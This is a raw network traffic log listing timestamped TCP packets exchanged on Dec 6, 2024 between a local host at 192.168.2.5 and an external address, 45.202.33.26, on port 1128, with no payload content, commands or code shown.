Dec 6, 2024 14:19:45.419608116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.420511007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.420553923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.420562983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.420597076 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.540975094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.541045904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.541441917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.541491032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.541501999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.541554928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.542428017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.542557955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.542602062 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.543401957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.543538094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.544397116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.544441938 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.544478893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.545402050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.545460939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.545485020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.545530081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.546386957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.546530962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.546585083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.547391891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.547477961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.547539949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.548404932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.548496008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.549351931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.549397945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.549530029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.550348997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.550395012 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.550456047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.550498009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.551335096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.551426888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.551472902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.552320004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.552479982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.552607059 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.553877115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.553896904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.553941965 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.554307938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.554523945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.555484056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.555500984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.555524111 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.555552959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.556303024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.556750059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.556801081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.557271957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.557398081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.557449102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.558240891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.558360100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.558417082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.559257030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.559360981 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.560228109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.560276985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.560338974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.561235905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.561275959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.561327934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.561373949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.562235117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.562381029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.562431097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.563225985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.563323975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.563369036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.564187050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.564317942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.565161943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.565208912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.565274000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.565557003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.566179991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.566308022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.566355944 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.567168951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.567286015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.567338943 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.568172932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.568237066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.568289995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.569149017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.569196939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.569521904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.570137978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.570266962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.571116924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.571151972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.571176052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.571198940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.572197914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.572289944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.572335005 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.573112965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.573386908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.573432922 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.574083090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.574250937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.574299097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.575088024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.575229883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.576076031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.576119900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.576159000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.577068090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.577110052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.577198982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.577239037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.578041077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.578144073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.578191996 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.579031944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.579135895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.579185009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.580009937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.580133915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.581026077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.581079006 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.581207991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.581507921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.582032919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.582093000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.582139015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.583013058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.583097935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.583148956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.584075928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.584161043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.584204912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.584963083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.585077047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.585541010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.585961103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.586007118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.586956024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.587006092 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.587090015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.587135077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.587968111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.588107109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.588962078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.588982105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.589010000 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.589037895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.610888004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.610960007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.611069918 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.611373901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.611634970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.611793995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.612322092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.612364054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.613271952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.613329887 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.732992887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.733011007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.733064890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.733288050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.733361959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.733396053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.734042883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.734129906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.734229088 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.735070944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.735188961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.735251904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.736076117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.736151934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.736196041 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.737019062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.737127066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.737181902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.738090992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.738256931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.738303900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.738996029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.739393950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.739450932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.740016937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.740097046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.740154028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.741074085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.741183043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.741244078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.742099047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.742225885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.742477894 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.743117094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.743200064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.743242979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.744003057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.744119883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.744163990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.744967937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.745083094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.745131016 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.745923996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.746054888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.746108055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.746896029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.747047901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.747097015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.748013973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.748056889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.748128891 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.748939991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.749031067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.749259949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.749895096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.750082970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.750124931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.750921011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.751034021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.751089096 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.751848936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.751954079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.752127886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.753027916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.753114939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.753159046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.753849030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.753911018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.753958941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.754859924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.754940033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.754983902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.755812883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.755932093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.755978107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.756876945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.756896973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.757002115 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.757812977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.757931948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.758002043 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.758835077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.758898020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.758945942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.759823084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.759913921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.759995937 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.760802031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.760937929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.760977983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.761789083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.761919975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.761967897 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.762789011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.762897015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.763079882 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.763761044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.763859987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.763938904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.764836073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.764915943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.764971018 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.765717030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.765835047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.765933037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.766716957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.766846895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.766889095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.767692089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.767854929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.767981052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.768785000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.768882990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.768928051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.769695997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.769819975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.769876957 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.770653009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.770778894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.770827055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.771647930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.771763086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.771806955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.772650003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.772747993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.772856951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.773857117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.773955107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.774105072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.774833918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.774909019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.774955034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.775724888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.775801897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.775844097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.776621103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.776761055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.776809931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.777601957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.777759075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.777976036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.778589010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.778721094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.778769970 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.779613972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.779732943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.779783964 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.780563116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.780693054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.781028032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.806026936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.806046009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.806058884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.806071997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.806085110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.806097031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.806106091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.806112051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.806137085 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.924875975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.924926996 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.924932003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.925307035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.925340891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.925355911 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.926306963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:45.926356077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:45.926393986 CET	1128	49704	45.202.33.26	192.168.2.5
